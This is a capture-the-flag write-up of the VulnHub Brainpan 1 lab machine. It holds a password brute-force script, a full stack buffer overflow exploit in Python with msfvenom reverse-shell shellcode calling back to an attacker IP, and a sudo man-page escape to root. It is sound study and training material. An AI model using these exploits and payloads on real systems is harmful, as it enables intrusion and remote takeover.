CTF – Brainpan 1

First of 3 in the Brainpan series created by superkojiman. A fun challenge with a easy BoF entry.

My Setup

https://www.vulnhub.com/entry/brainpan-1,51/

My Hints

  • Initial entry – enumerate and BoF
  • Priv Esc – fix your shell

My Solution

SCANNING

To start we confirm kali’s IP (192.168.56.101) and the victim (192.168.56.102). Note – .100 is another VM and .103 is a Win7 VM

A full TCP scan finds 2 open ports. A UDP scan is also done but only finds 68 / DHCPC open.

ENUMERATION

TCP 9999 – abyss?

When connecting to this, it appears to be a password login. Each password attempt kicks me out.

TCP 10000 – SimpleHTTPServer 0.6 (Python 2.7.3)

Browsing to this shows a static webpage. Nothing interesting in page source.

A quick dirb finds an interesting folder with a brainpan.exe inside. This is downloaded.

[email protected]:~/Documents/vulnhub/brainpan1# dirb http://192.168.56.102:10000/ /usr/share/wordlists/dirb/big.txt 
+ http://192.168.56.102:10000/bin (CODE:301|SIZE:0)


ATTACKING

From what has been found our options are.

1) Bruteforce the TCP9999 login?

2) Explore the brainpan.exe more?

I setup a dictionary attack on the login while the exe is investigated.

Bruteforcing the login

For fun a quick python script is created and the rockyou wordlist is run past this – with no luck. (later finding out, even if I did find the password “shitstorm” it was worth nothing)

#!/usr/bin/python
import socket
import sys
host = "192.168.56.102"
port = 9999
failStr = "ACCESS DENIED"
wordList = "/usr/share/wordlists/rockyou.txt"

def connect (guess):
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)	
		s.connect((host,port))
		data = s.recv(1024)
		s.send(str(guess)+'\r\n')
		data = s.recv(1024)
		#sys.stdout.write("trying " + str(guess) + " - " + str(data))
		s.close()
	except:
		print "Error:Could not connect"

#opens a file for reading and sends each line as a guess
f = open(wordList, "r")
for i in f:
	result = connect(i)
	if failStr in str(result):
		print "Password found!!!! " + str(x)
		break
print "sorry, not found :("

Explore the brainpan.exe (BOF)

Running this windows file (using wine) it appears to start listening for a connection. This will be interesting a windows binary, potentially running on a Linux box?

Sure enough, when run its shown listening on TCP 999 and has the same input screen.

When password guess are made via nc, the “wine” terminal, shows these inputs and the buffer size. Sounds like a buffer overflow challenge!

Sending 1000 characters using python fuzz.py | nc 127.0.0.1 9999 appears to crash the program.

#!/usr/bin/python
buffer = "A"*1000
print buffer;

So we know this can be crashed, now to find exactly where. Create a unique pattern then send this to the program

#!/usr/bin/python
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0"
<snip>
print buffer;

When it crashes this time, we take note of the values that overwrite the EIP register 35724134.

Then using the pattern offset module, enter this in to find the exact offset.

Modifying our code, to now send 524 A’s and 4 B’s, we see the EIP register is now overwritten with our 4 B’s.

#!/usr/bin/python
buffer = "A"*524 + "B"*4

Copying this windows binary across to a Win7 VM and opening in OllyDbg. Using Putty to connect to the listening service (putty.exe -raw -P 9999 127.0.0.1). Then manually send our fuzzing data 524 A’s, 4 B’s and 95 C’s which causes the application to crash. The 95 C’s is the estimated space required for a reverse shell. We confirm EIP is still overwritten with the B’s and that our C’s (potential shell code) continue right after. Also note the ESP register points directly to this memory location (0028F930). So if we can find something that jumps to ESP, we can execute our shell code.

Note: if you see the ECX register this mentions “shitstorm” this happens to be the successful password to login to the service – however does nothing when logged in.

Next to find the return address. Normally you would target a dependent DLL or module, but as this is a standalone app, we’ll try that. Opening up the executable module “E” and double clicking on the “brainpan” executable

Then right clicking in the blank space and selecting “Search for” then “Command” we want to search for something that will get us to the ESP register.

The first one this finds is at location (311712F3)

Next step find the bad characters. I didn’t have python or anything installed on the Win7 VM, so just manually fed \x01 to \xff into the python fuzzing script on the kali box. I assumed /x00 was bad. Didn’t find any.

Next step generate the shell code. Taking note the linux reverse shell is 95 bytes in size. Note: While this is a Windows binary, we are connecting to a linux system so linux is specified.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=7777 -f c --platform linux -b "\x00"
//[-] No arch selected, selecting arch: x86 from the payload
//Found 10 compatible encoders
//Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
//x86/shikata_ga_nai succeeded with size 95 (iteration=0)
//x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
//Final size of c file: 425 bytes
unsigned char buf[] = 
"\xd9\xcd\xbd\xc1\x75\xfb\xe6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x12\x31\x6e\x17\x83\xee\xfc\x03\xaf\x66\x19\x13\x1e\x52\x2a"
"\x3f\x33\x27\x86\xaa\xb1\x2e\xc9\x9b\xd3\xfd\x8a\x4f\x42\x4e"
"\xb5\xa2\xf4\xe7\xb3\xc5\x9c\x37\xeb\x0e\x39\xd0\xee\x6e\xdf"
"\x41\x66\x8f\x6f\xe7\x28\x01\xdc\x5b\xcb\x28\x03\x56\x4c\x78"
"\xab\x07\x62\x0e\x43\xb0\x53\xdf\xf1\x29\x25\xfc\xa7\xfa\xbc"
"\xe2\xf7\xf6\x73\x64";

Next construct the python exploit “fuzz.py”.

#!/usr/bin/python

#Return address found from Win7 VM testing
#31 17 12 F3   . FFE4           JMP ESP
ret = "\xF3\x12\x17\x31" #In Little Endian format

#Reverse shell (95 bytes)
payload = "\xd9\xcd\xbd\xc1\x75\xfb\xe6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
payload += "\x12\x31\x6e\x17\x83\xee\xfc\x03\xaf\x66\x19\x13\x1e\x52\x2a"
payload += "\x3f\x33\x27\x86\xaa\xb1\x2e\xc9\x9b\xd3\xfd\x8a\x4f\x42\x4e"
payload += "\xb5\xa2\xf4\xe7\xb3\xc5\x9c\x37\xeb\x0e\x39\xd0\xee\x6e\xdf"
payload += "\x41\x66\x8f\x6f\xe7\x28\x01\xdc\x5b\xcb\x28\x03\x56\x4c\x78"
payload += "\xab\x07\x62\x0e\x43\xb0\x53\xdf\xf1\x29\x25\xfc\xa7\xfa\xbc"
payload += "\xe2\xf7\xf6\x73\x64"

nop = "\x90"*16 #little no operation slippery dip to help land our shell

buffer = "A"*524 + ret + nop + payload

print buffer;

This is run again. Start ncat listener nc -lvnp 7777 to catch reverse shell. Start local listening binary wine brainpain.exe then send payload python fuzz.py | nc 127.0.0.1 9999. This successfully gives me a shell on the kali box. The application also doesn’t crash.

Now trying again (with fingers crossed) this is run against the actual remote system python fuzz.py | nc 192.168.56.102 9999 which gives a shell – such a great feeling : )

Privilege Escalation

We now have a limited Shell as user “puck”. We get trolled when trying to check the OS version.

spawn a python shell to improve things a little and check if puck has any sudo entries. There is a binary sitting in another users home folder which looks interesting.

Checking interesting users we find 3. “reynard” also appears to be in the sudo group.

Checking out the binary we can sudo with, there are 3 options with outputs shown below. Appears there are some terminal limitations.

I try changing to fully interactive shell with magic (This now allows autocomplete, colors etc).

# 1) Once getting a limited shell upgrade usability
python -c 'import pty;pty.spawn("/bin/bash")'

# 2)Show current terminal settings. Note dumb and no rows/columns
echo $TERM
dumb

[email protected]:/home$ stty -a
speed 38400 baud; rows 0; columns 0; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>;
eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R;
werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0;
<snip>

# 3) background shell (ctrl + z)
^Z

# 4) back in kali check a good terminal. Note terminal type and rows/columns
[email protected]:~/Documents/vulnhub/brainpan1# echo $TERM
xterm-256color

[email protected]:~/Documents/vulnhub/brainpan1# stty -a
speed 38400 baud; rows 35; columns 80; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>;
eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R;
werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
<snip>

# 5) while shell still in background
stty raw -echo
fg
reset
Terminal Type? xterm-color

# 6) 
set details
[email protected]:/home/puck$ export SHELL=bash
[email protected]:/home/puck$ export TERM=xterm-color
[email protected]:/home/puck$ stty rows 35 columns 80

Also a way to fix the “terminal is not fully functional” error was to use

 export TERM=xterm-color

Now…. when running sudo /home/anansi/bin/anansi_util manual echo the man page is displayed and we can launch a shell from there by typing !sh

And we are running as root! There was a b.txt in the /root folder which just displayed a stapler.

Out of interest, I found the script responsible for running the windows binary and how the SimpleHTTPServer was running.

cat checksrv.sh

#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then 
pid=`ps aux | grep brainpan.exe | grep -v grep`
if [[ ! -z $pid ]]; then
kill -9 $pid
killall wineserver
killall winedevice.exe
fi
/usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi 

# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then 
pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
if [[ ! -z $pid ]]; then
kill -9 $pid
fi
cd /home/puck/web
/usr/bin/python -m SimpleHTTPServer 10000
fi

Other Alternative Solutions

I always love to check out how other approached it, after solving it myself. What they did differently, what I missed, better ways to solve the same problem etc.

  • Ray Doyle – did privilege escalation by bof of  the anansi_util binary
  • Will – used a windows payload which also worked (assumed as the binary was running in wine)